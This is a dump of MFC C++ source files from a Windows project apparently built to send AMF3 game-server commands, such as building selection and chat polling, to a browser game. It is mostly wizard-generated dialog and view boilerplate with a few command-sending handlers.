	virtual void SetActivePane( int row, int col, CWnd* pWnd  = NULL ); 

	virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam); 

	virtual BOOL OnNotify( WPARAM wParam, LPARAM lParam, LRESULT* pResult ); 

	virtual BOOL OnWndMsg( UINT message, WPARAM wParam, LPARAM lParam, LRESULT* pResult ); 	//}}AFX_VIRTUAL



// Implementation

public:

	virtual ~CxSplitterWnd();



	// Generated message map functions

	//{{AFX_MSG(CxSplitterWnd)

		// NOTE - the ClassWizard will add and remove member functions here.

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_SPSP_H__DA9F23A8_CC8D_4984_8EEC_B6F6DBE004D9__INCLUDED_)









源码/EndView.cpp



    
    
    ??/EndView.cpp
    
    


??/EndView.cpp// EndView.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "EndView.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CEndView

IMPLEMENT_DYNCREATE(CEndView, CListView)

CEndView::CEndView()
{
}

CEndView::~CEndView()
{
}


BEGIN_MESSAGE_MAP(CEndView, CListView)
    //{{AFX_MSG_MAP(CEndView)
        // NOTE - the ClassWizard will add and remove mapping macros here.
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CEndView drawing

void CEndView::OnDraw(CDC* pDC)
{
    CDocument* pDoc = GetDocument();
    // TODO: add draw code here
}

/////////////////////////////////////////////////////////////////////////////
// CEndView diagnostics

#ifdef _DEBUG
void CEndView::AssertValid() const
{
    CListView::AssertValid();
}

void CEndView::Dump(CDumpContext& dc) const
{
    CListView::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CEndView message handlers

void CEndView::OnInitialUpdate() 
{
    CListView::OnInitialUpdate();
    
    // TODO: Add your specialized code here and/or call the base class
    m_ImageList.Create(16,16,TRUE|ILC_COLOR32,2,1);
    m_ImageList.Add(AfxGetApp()->LoadIcon(IDI_MSG));

    
    
    GetListCtrl().SetImageList(&m_ImageList,LVSIL_SMALL);
    
    GetListCtrl().ModifyStyle(0,LVS_REPORT|LVS_SHOWSELALWAYS|LVS_NOCOLUMNHEADER);
    GetListCtrl().SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE,0,LVS_EX_FULLROWSELECT);
    CRect rect;
    GetListCtrl().GetWindowRect(&rect);
    GetListCtrl().InsertColumn(0,"",LVCFMT_LEFT,rect.Width()+1024,0);
    //GetListCtrl().InsertItem();
}







源码/EndView.h

#if !defined(AFX_ENDVIEW_H__1F96772B_97FE_43B1_82FF_7E2C55FE2881__INCLUDED_)

#define AFX_ENDVIEW_H__1F96772B_97FE_43B1_82FF_7E2C55FE2881__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// EndView.h : header file

//

#include <afxcview.h>

/////////////////////////////////////////////////////////////////////////////

// CEndView view



class CEndView : public CListView

{

protected:

	CEndView();           // protected constructor used by dynamic creation

	DECLARE_DYNCREATE(CEndView)



// Attributes

public:



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CEndView)

	public:

	virtual void OnInitialUpdate();

	protected:

	virtual void OnDraw(CDC* pDC);      // overridden to draw this view

	//}}AFX_VIRTUAL



// Implementation

protected:

	virtual ~CEndView();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



	// Generated message map functions

protected:

	CImageList m_ImageList;

	//{{AFX_MSG(CEndView)

		// NOTE - the ClassWizard will add and remove member functions here.

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_ENDVIEW_H__1F96772B_97FE_43B1_82FF_7E2C55FE2881__INCLUDED_)









源码/Fun1Dlg.cpp



    
    
    ??/Fun1Dlg.cpp
    
    


??/Fun1Dlg.cpp// Fun1Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "Fun1Dlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFun1Dlg property page

IMPLEMENT_DYNCREATE(CFun1Dlg, CPropertyPage)

CFun1Dlg::CFun1Dlg() : CPropertyPage(CFun1Dlg::IDD)
{
    //{{AFX_DATA_INIT(CFun1Dlg)
        // NOTE: the ClassWizard will add member initialization here
    //}}AFX_DATA_INIT
}

CFun1Dlg::~CFun1Dlg()
{
}

void CFun1Dlg::DoDataExchange(CDataExchange* pDX)
{
    CPropertyPage::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CFun1Dlg)
        // NOTE: the ClassWizard will add DDX and DDV calls here
    //}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CFun1Dlg, CPropertyPage)
    //{{AFX_MSG_MAP(CFun1Dlg)
    ON_WM_SIZE()
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFun1Dlg message handlers

BOOL CFun1Dlg::OnInitDialog() 
{
    CPropertyPage::OnInitDialog();
    
    // TODO: Add extra initialization here
    


    CCreateContext context1;
    context1.m_pNewViewClass = RUNTIME_CLASS(CFun1LeftView);
    context1.m_pCurrentDoc = NULL;
    context1.m_pNewDocTemplate = NULL;
    context1.m_pLastView = NULL;
    context1.m_pCurrentFrame = NULL;
    
    CCreateContext context2;
    context2.m_pNewViewClass = RUNTIME_CLASS(CFun1RightView);
    context2.m_pCurrentDoc = NULL;
    context2.m_pNewDocTemplate = NULL;
    context2.m_pLastView = NULL;
    context2.m_pCurrentFrame = NULL;
    
    CWnd * pWnd = NULL;
    pWnd = GetDlgItem(IDC_STATIC1);
    CRect rect;
    pWnd->GetClientRect(&rect);
    
    m_wndSplitter.CreateStatic(pWnd,1,2);
    m_wndSplitter.CreateView( 0, 0, RUNTIME_CLASS( CFun1LeftView), CSize( 100, 0 ), &context1 );
    m_wndSplitter.CreateView( 0, 1, RUNTIME_CLASS(CFun1RightView ), CSize( 0, 0 ), &context2 );
    m_wndSplitter.MoveWindow(rect);
    
    m_bSplitterCreated=TRUE;



    return TRUE;  // return TRUE unless you set the focus to a control
                  // EXCEPTION: OCX Property Pages should return FALSE
}

void CFun1Dlg::OnSize(UINT nType, int cx, int cy) 
{
    CPropertyPage::OnSize(nType, cx, cy);
    
    // TODO: Add your message handler code here
    CRect rect,edrect;
    CWnd * pWnd = NULL;
    pWnd = GetDlgItem(IDC_STATIC1);
    
    
    GetWindowRect(rect);
    ScreenToClient(rect);
    if(pWnd!=NULL)
        pWnd->MoveWindow(rect);
    
    if(m_bSplitterCreated)
    {
        pWnd->GetClientRect(&edrect);
        pWnd->SetWindowPos(&wndTop, 0, 0, edrect.Width(), cy, SWP_SHOWWINDOW);
        pWnd->GetClientRect(&edrect);
        rect=edrect;
        m_wndSplitter.SetColumnInfo(0,rect.Width()/5,0);
        m_wndSplitter.MoveWindow(rect);
    }   
}

CFun1LeftView * CFun1Dlg::GetFun1LeftView()
{
    CFun1LeftView *pView=(CFun1LeftView*)m_wndSplitter.GetPane(0,0);
//  CheckPointer(pView,NULL);
    return pView;
}

CFun1RightView * CFun1Dlg::GetFun1RightView()
{
    CFun1RightView *pView=(CFun1RightView*)m_wndSplitter.GetPane(0,1);
//  CheckPointer(pView,NULL);
    return pView;
}







源码/Fun1Dlg.h

#if !defined(AFX_FUN1DLG_H__211E1298_1639_4524_A6C7_B8FAB5AA9F5D__INCLUDED_)

#define AFX_FUN1DLG_H__211E1298_1639_4524_A6C7_B8FAB5AA9F5D__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun1Dlg.h : header file

//

#include "CxSplitterWnd.h"

#include "Fun1LeftView.h"

#include "Fun1RightView.h"

/////////////////////////////////////////////////////////////////////////////

// CFun1Dlg dialog



class CFun1Dlg : public CPropertyPage

{

	DECLARE_DYNCREATE(CFun1Dlg)



// Construction

public:

	CFun1RightView * GetFun1RightView();

	CFun1LeftView * GetFun1LeftView();

	CFun1Dlg();

	~CFun1Dlg();



// Dialog Data

	//{{AFX_DATA(CFun1Dlg)

	enum { IDD = IDD_DIALOG1 };

		// NOTE - ClassWizard will add data members here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_DATA





// Overrides

	// ClassWizard generate virtual function overrides

	//{{AFX_VIRTUAL(CFun1Dlg)

	protected:

	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

	//}}AFX_VIRTUAL



// Implementation

protected:

	CxSplitterWnd m_wndSplitter;

	BOOL		  m_bSplitterCreated;

	// Generated message map functions

	//{{AFX_MSG(CFun1Dlg)

	virtual BOOL OnInitDialog();

	afx_msg void OnSize(UINT nType, int cx, int cy);

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()



};



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN1DLG_H__211E1298_1639_4524_A6C7_B8FAB5AA9F5D__INCLUDED_)









源码/Fun1LeftView.cpp



    
    
    ??/Fun1LeftView.cpp
    
    


??/Fun1LeftView.cpp// Fun1LeftView.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "Fun1LeftView.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFun1LeftView

IMPLEMENT_DYNCREATE(CFun1LeftView, CTreeView)

CFun1LeftView::CFun1LeftView()
{

}

CFun1LeftView::~CFun1LeftView()
{
}


BEGIN_MESSAGE_MAP(CFun1LeftView, CTreeView)
    //{{AFX_MSG_MAP(CFun1LeftView)
    ON_WM_CREATE()
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFun1LeftView drawing

void CFun1LeftView::OnDraw(CDC* pDC)
{
    CDocument* pDoc = GetDocument();
    // TODO: add draw code here
}

/////////////////////////////////////////////////////////////////////////////
// CFun1LeftView diagnostics

#ifdef _DEBUG
void CFun1LeftView::AssertValid() const
{
    CTreeView::AssertValid();
}

void CFun1LeftView::Dump(CDumpContext& dc) const
{
    CTreeView::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CFun1LeftView message handlers

BOOL CFun1LeftView::Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext) 
{
    // TODO: Add your specialized code here and/or call the base class

    return CWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, nID, pContext);
}

void CFun1LeftView::OnInitialUpdate() 
{
    CTreeView::OnInitialUpdate();
    
    // TODO: Add your specialized code here and/or call the base class
    CTreeCtrl &tc=GetTreeCtrl();
    m_hRoot=tc.InsertItem("ROOT");


}

int CFun1LeftView::OnCreate(LPCREATESTRUCT lpCreateStruct) 
{
    if (CTreeView::OnCreate(lpCreateStruct) == -1)
        return -1;
    
    // TODO: Add your specialized creation code here
    CTreeCtrl& tc = GetTreeCtrl();
    long style = GetWindowLong(tc.m_hWnd,GWL_STYLE);
    style |= (TVS_HASLINES | TVS_LINESATROOT | TVS_HASBUTTONS | 
        TVS_SHOWSELALWAYS | TVS_DISABLEDRAGDROP);
    SetWindowLong(tc.m_hWnd,GWL_STYLE,style);
    return 0;
}

void CFun1LeftView::_InsertRootItem()
{
    CTreeCtrl &tc=GetTreeCtrl();
    m_hRoot=tc.InsertItem("ROOT");
}







源码/Fun1LeftView.h

#if !defined(AFX_FUN1LEFTVIEW_H__4FB79047_6E05_4B56_828E_766EB7223B71__INCLUDED_)

#define AFX_FUN1LEFTVIEW_H__4FB79047_6E05_4B56_828E_766EB7223B71__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun1LeftView.h : header file

//

#include <afxcview.h>

/////////////////////////////////////////////////////////////////////////////

// CFun1LeftView view



class CFun1LeftView : public CTreeView

{

protected:

	CFun1LeftView();           // protected constructor used by dynamic creation

	DECLARE_DYNCREATE(CFun1LeftView)



// Attributes

public:



// Operations

public:

	void _InsertRootItem();

	HTREEITEM m_hRoot;





// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CFun1LeftView)

	public:

	virtual BOOL Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext = NULL);

	virtual void OnInitialUpdate();

	protected:

	virtual void OnDraw(CDC* pDC);      // overridden to draw this view

	//}}AFX_VIRTUAL



// Implementation

protected:

	virtual ~CFun1LeftView();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



	// Generated message map functions

protected:

	//{{AFX_MSG(CFun1LeftView)

	afx_msg int OnCreate(LPCREATESTRUCT lpCreateStruct);

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN1LEFTVIEW_H__4FB79047_6E05_4B56_828E_766EB7223B71__INCLUDED_)









源码/Fun1RightView.cpp



    
    
    ??/Fun1RightView.cpp
    
    


??/Fun1RightView.cpp// Fun1RightView.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "Fun1RightView.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFun1RightView

IMPLEMENT_DYNCREATE(CFun1RightView, CListView)

CFun1RightView::CFun1RightView()
{
}

CFun1RightView::~CFun1RightView()
{
}


BEGIN_MESSAGE_MAP(CFun1RightView, CListView)
    //{{AFX_MSG_MAP(CFun1RightView)
        // NOTE - the ClassWizard will add and remove mapping macros here.
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFun1RightView drawing

void CFun1RightView::OnDraw(CDC* pDC)
{
    CDocument* pDoc = GetDocument();
    // TODO: add draw code here
}

/////////////////////////////////////////////////////////////////////////////
// CFun1RightView diagnostics

#ifdef _DEBUG
void CFun1RightView::AssertValid() const
{
    CListView::AssertValid();
}

void CFun1RightView::Dump(CDumpContext& dc) const
{
    CListView::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CFun1RightView message handlers







源码/Fun1RightView.h

#if !defined(AFX_FUN1RIGHTVIEW_H__900BD4FC_4654_43B8_AA9C_D3C4B87751FC__INCLUDED_)

#define AFX_FUN1RIGHTVIEW_H__900BD4FC_4654_43B8_AA9C_D3C4B87751FC__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun1RightView.h : header file

//

#include <afxcview.h>

/////////////////////////////////////////////////////////////////////////////

// CFun1RightView view



class CFun1RightView : public CListView

{

protected:

	CFun1RightView();           // protected constructor used by dynamic creation

	DECLARE_DYNCREATE(CFun1RightView)



// Attributes

public:



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CFun1RightView)

	protected:

	virtual void OnDraw(CDC* pDC);      // overridden to draw this view

	//}}AFX_VIRTUAL



// Implementation

protected:

	virtual ~CFun1RightView();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



	// Generated message map functions

protected:

	//{{AFX_MSG(CFun1RightView)

		// NOTE - the ClassWizard will add and remove member functions here.

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN1RIGHTVIEW_H__900BD4FC_4654_43B8_AA9C_D3C4B87751FC__INCLUDED_)









源码/Fun1RigntView.h

#if !defined(AFX_FUN1RIGNTVIEW_H__F63CD3E2_BE25_4C79_BEDE_1E1FE396CB04__INCLUDED_)

#define AFX_FUN1RIGNTVIEW_H__F63CD3E2_BE25_4C79_BEDE_1E1FE396CB04__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun1RigntView.h : header file

//



/////////////////////////////////////////////////////////////////////////////

// CFun1RightView view



class CFun1RightView : public CListView

{

protected:

	CFun1RightView();           // protected constructor used by dynamic creation

	DECLARE_DYNCREATE(CFun1RightView)



// Attributes

public:



// Operations

public:



// Overrides

	// ClassWizard generated virtual function overrides

	//{{AFX_VIRTUAL(CFun1RightView)

	protected:

	virtual void OnDraw(CDC* pDC);      // overridden to draw this view

	//}}AFX_VIRTUAL



// Implementation

protected:

	virtual ~CFun1RightView();

#ifdef _DEBUG

	virtual void AssertValid() const;

	virtual void Dump(CDumpContext& dc) const;

#endif



	// Generated message map functions

protected:

	//{{AFX_MSG(CFun1RightView)

		// NOTE - the ClassWizard will add and remove member functions here.

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN1RIGNTVIEW_H__F63CD3E2_BE25_4C79_BEDE_1E1FE396CB04__INCLUDED_)









源码/Fun2Dlg.cpp



    
    
    源码/Fun2Dlg.cpp
    
    


源码/Fun2Dlg.cpp// Fun2Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "Fun2Dlg.h"
#include "StaticFunctions.h"
#include "7wAmfCmd.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFun2Dlg property page

IMPLEMENT_DYNCREATE(CFun2Dlg, CPropertyPage)

CFun2Dlg::CFun2Dlg() : CPropertyPage(CFun2Dlg::IDD)
{
    //{{AFX_DATA_INIT(CFun2Dlg)
        // NOTE: the ClassWizard will add member initialization here
    //}}AFX_DATA_INIT
}

CFun2Dlg::~CFun2Dlg()
{
}

void CFun2Dlg::DoDataExchange(CDataExchange* pDX)
{
    CPropertyPage::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CFun2Dlg)
        // NOTE: the ClassWizard will add DDX and DDV calls here
    //}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CFun2Dlg, CPropertyPage)
    //{{AFX_MSG_MAP(CFun2Dlg)
    ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
    ON_WM_TIMER()
    ON_BN_CLICKED(IDC_BUTTON3, OnButton3)
    ON_BN_CLICKED(IDC_BUTTON4, OnButton4)
    ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFun2Dlg message handlers

void CFun2Dlg::OnButton1() 
{
    // TODO: Add your control notification handler code here
    CString strpath;
    CFileDialog dlg(TRUE);
    if(dlg.DoModal()==IDOK)
        strpath=dlg.GetPathName();


    //CStaticFunctions::GetWorkPath(strpath);
    //strpath=strpath+"\\amfcmd\\heroAct.getAllHero.txt";
    CFile   OpenFile; 
    OpenFile.Open(strpath,CFile::modeReadWrite); 
    //获取文件长度 
    int   length=OpenFile.GetLength();
    //开辟缓冲区
    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length); 
    OpenFile.SeekToBegin();
    OpenFile.Read(pBuf,length);//读文件 
    OpenFile.Flush();
    OpenFile.Close();
    
    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;
    pamf->buffer=pBuf;
    pamf->usize=length;
    pamf->pfm=(CMainFrame *)AfxGetMainWnd();
    pamf->m_strcmd="amf.txt";



    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);
    
    
    
    
    //::WaitForSingleObject(handle,INFINITE);
    






}

BOOL CFun2Dlg::OnInitDialog() 
{
    CPropertyPage::OnInitDialog();
    
    // TODO: Add extra initialization here

    return TRUE;  // return TRUE unless you set the focus to a control
                  // EXCEPTION: OCX Property Pages should return FALSE
}

void CFun2Dlg::OnTimer(UINT nIDEvent) 
{
    // TODO: Add your message handler code here and/or call default
    CString strpath;
    CStaticFunctions::GetWorkPath(strpath);
    strpath=strpath+"\\amfcmd\\chatAct_getAllMessage4New.txt";
    CFile   OpenFile; 
    OpenFile.Open(strpath,CFile::modeReadWrite); 
    //获取文件长度 
    int   length=OpenFile.GetLength();
    //开辟缓冲区
    BYTE   *pBuf=(BYTE  *)malloc(sizeof(BYTE)*length); 
    OpenFile.SeekToBegin();
    OpenFile.Read(pBuf,length);//读文件 
    OpenFile.Flush();
    OpenFile.Close();
    
    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;
    pamf->buffer=pBuf;
    pamf->usize=length;
    pamf->pfm=(CMainFrame *)AfxGetMainWnd();
    pamf->m_strcmd="GetMessge....";
    
    
    
    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);

    CPropertyPage::OnTimer(nIDEvent);
}

void CFun2Dlg::OnButton3() 
{
    // TODO: Add your control notification handler code here
    this->SetTimer(1,500,NULL); 
}

void CFun2Dlg::OnButton4() 
{
    // TODO: Add your control notification handler code here
    this->KillTimer(1); 
}

void CFun2Dlg::OnButton2() 
{
    //TODO: Add your control notification handler code here
    
/*  CByteArray *parray; 
    parray=new CByteArray();
    parray->SetSize(1);
    
    C7wAmfCmd::_SetGlobalParamaters();
    C7wAmfCmd::_CreateBuildAmf(parray,"645","居民楼",26);
    
    
    CByteArray *parray2;    
    parray2=new CByteArray();
    parray2->SetSize(1);


    CString strcmd="castleAct.createBuilding";

    
    C7wAmfCmd::_CreateAmf3Cmd(parray2,strcmd,parray->GetData(),parray->GetSize());
    
    

    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;
    pamf->buffer=parray2->GetData();
    pamf->usize=parray2->GetSize();
    pamf->pfm=(CMainFrame *)AfxGetMainWnd();
    pamf->m_strcmd.Format("CreateBuildingC%d",27);
    
    
    
    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);
    ::Sleep(150);

    parray->RemoveAll();
    parray2->RemoveAll();*/

    CByteArray *parray; 
    parray=new CByteArray();
    parray->SetSize(1);
    
    C7wAmfCmd::_SetGlobalParamaters();

    C7wAmfCmd::_SelectBuildAmf(parray,"645","N100");




    CByteArray *parray2;    
    parray2=new CByteArray();
    parray2->SetSize(1);
    
    
    CString strcmd="castleAct.selectCasBui";
    
    
    C7wAmfCmd::_CreateAmf3Cmd(parray2,strcmd,parray->GetData(),parray->GetSize());
    

    
    TAG_AMF3CMD *pamf=new TAG_AMF3CMD;
    pamf->buffer=parray2->GetData();
    pamf->usize=parray2->GetSize();
    pamf->pfm=(CMainFrame *)AfxGetMainWnd();
    pamf->m_strcmd.Format("SelectBuildingC%d",27);
    

    
    HANDLE handle=::CreateThread(NULL, 0,C7wAmfCmd::_SendAmfCmd, pamf, 0, NULL);
    ::Sleep(150);
    
    parray->RemoveAll();
    parray2->RemoveAll();



}







源码/Fun2Dlg.h

#if !defined(AFX_FUN2DLG_H__6598D6A0_0016_4801_B25B_99ADBAD56C8B__INCLUDED_)

#define AFX_FUN2DLG_H__6598D6A0_0016_4801_B25B_99ADBAD56C8B__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun2Dlg.h : header file

//



/////////////////////////////////////////////////////////////////////////////

// CFun2Dlg dialog



class CFun2Dlg : public CPropertyPage

{

	DECLARE_DYNCREATE(CFun2Dlg)



// Construction

public:

	CFun2Dlg();

	~CFun2Dlg();



// Dialog Data

	//{{AFX_DATA(CFun2Dlg)

	enum { IDD = IDD_DIALOG2 };

		// NOTE - ClassWizard will add data members here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_DATA





// Overrides

	// ClassWizard generate virtual function overrides

	//{{AFX_VIRTUAL(CFun2Dlg)

	protected:

	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

	//}}AFX_VIRTUAL



// Implementation

protected:

	// Generated message map functions

	//{{AFX_MSG(CFun2Dlg)

	afx_msg void OnButton1();

	virtual BOOL OnInitDialog();

	afx_msg void OnTimer(UINT nIDEvent);

	afx_msg void OnButton3();

	afx_msg void OnButton4();

	afx_msg void OnButton2();

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()



};



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN2DLG_H__6598D6A0_0016_4801_B25B_99ADBAD56C8B__INCLUDED_)









源码/Fun3Dlg.cpp



    
    
    ??/Fun3Dlg.cpp
    
    


??/Fun3Dlg.cpp// Fun3Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "Fun3Dlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFun3Dlg property page

IMPLEMENT_DYNCREATE(CFun3Dlg, CPropertyPage)

CFun3Dlg::CFun3Dlg() : CPropertyPage(CFun3Dlg::IDD)
{
    //{{AFX_DATA_INIT(CFun3Dlg)
        // NOTE: the ClassWizard will add member initialization here
    //}}AFX_DATA_INIT
}

CFun3Dlg::~CFun3Dlg()
{
}

void CFun3Dlg::DoDataExchange(CDataExchange* pDX)
{
    CPropertyPage::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CFun3Dlg)
        // NOTE: the ClassWizard will add DDX and DDV calls here
    //}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CFun3Dlg, CPropertyPage)
    //{{AFX_MSG_MAP(CFun3Dlg)
        // NOTE: the ClassWizard will add message map macros here
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFun3Dlg message handlers







源码/Fun3Dlg.h

#if !defined(AFX_FUN3DLG_H__B1F768A4_F9BC_4889_A818_ECBC4CB247F3__INCLUDED_)

#define AFX_FUN3DLG_H__B1F768A4_F9BC_4889_A818_ECBC4CB247F3__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun3Dlg.h : header file

//



/////////////////////////////////////////////////////////////////////////////

// CFun3Dlg dialog



class CFun3Dlg : public CPropertyPage

{

	DECLARE_DYNCREATE(CFun3Dlg)



// Construction

public:

	CFun3Dlg();

	~CFun3Dlg();



// Dialog Data

	//{{AFX_DATA(CFun3Dlg)

	enum { IDD = IDD_DIALOG3 };

		// NOTE - ClassWizard will add data members here.

		//    DO NOT EDIT what you see in these blocks of generated code !

	//}}AFX_DATA





// Overrides

	// ClassWizard generate virtual function overrides

	//{{AFX_VIRTUAL(CFun3Dlg)

	protected:

	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support

	//}}AFX_VIRTUAL



// Implementation

protected:

	// Generated message map functions

	//{{AFX_MSG(CFun3Dlg)

		// NOTE: the ClassWizard will add member functions here

	//}}AFX_MSG

	DECLARE_MESSAGE_MAP()



};



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_FUN3DLG_H__B1F768A4_F9BC_4889_A818_ECBC4CB247F3__INCLUDED_)









源码/Fun4Dlg.cpp



    
    
    ??/Fun4Dlg.cpp
    
    


??/Fun4Dlg.cpp// Fun4Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "7QW.h"
#include "Fun4Dlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CFun4Dlg property page

IMPLEMENT_DYNCREATE(CFun4Dlg, CPropertyPage)

CFun4Dlg::CFun4Dlg() : CPropertyPage(CFun4Dlg::IDD)
{
    //{{AFX_DATA_INIT(CFun4Dlg)
        // NOTE: the ClassWizard will add member initialization here
    //}}AFX_DATA_INIT
}

CFun4Dlg::~CFun4Dlg()
{
}

void CFun4Dlg::DoDataExchange(CDataExchange* pDX)
{
    CPropertyPage::DoDataExchange(pDX);
    //{{AFX_DATA_MAP(CFun4Dlg)
        // NOTE: the ClassWizard will add DDX and DDV calls here
    //}}AFX_DATA_MAP

}


BEGIN_MESSAGE_MAP(CFun4Dlg, CPropertyPage)
    //{{AFX_MSG_MAP(CFun4Dlg)
        // NOTE: the ClassWizard will add message map macros here
    //}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CFun4Dlg message handlers







源码/Fun4Dlg.h

#if !defined(AFX_FUN4DLG_H__1CC4D224_DB9D_4EAC_A415_A05178ABA4BC__INCLUDED_)

#define AFX_FUN4DLG_H__1CC4D224_DB9D_4EAC_A415_A05178ABA4BC__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Fun4Dlg.h : header file

//



/////////////////////////////////////////////////////////////////////////////

// CFun4Dlg dialog



class CFun4Dlg : public CPropertyPage

{

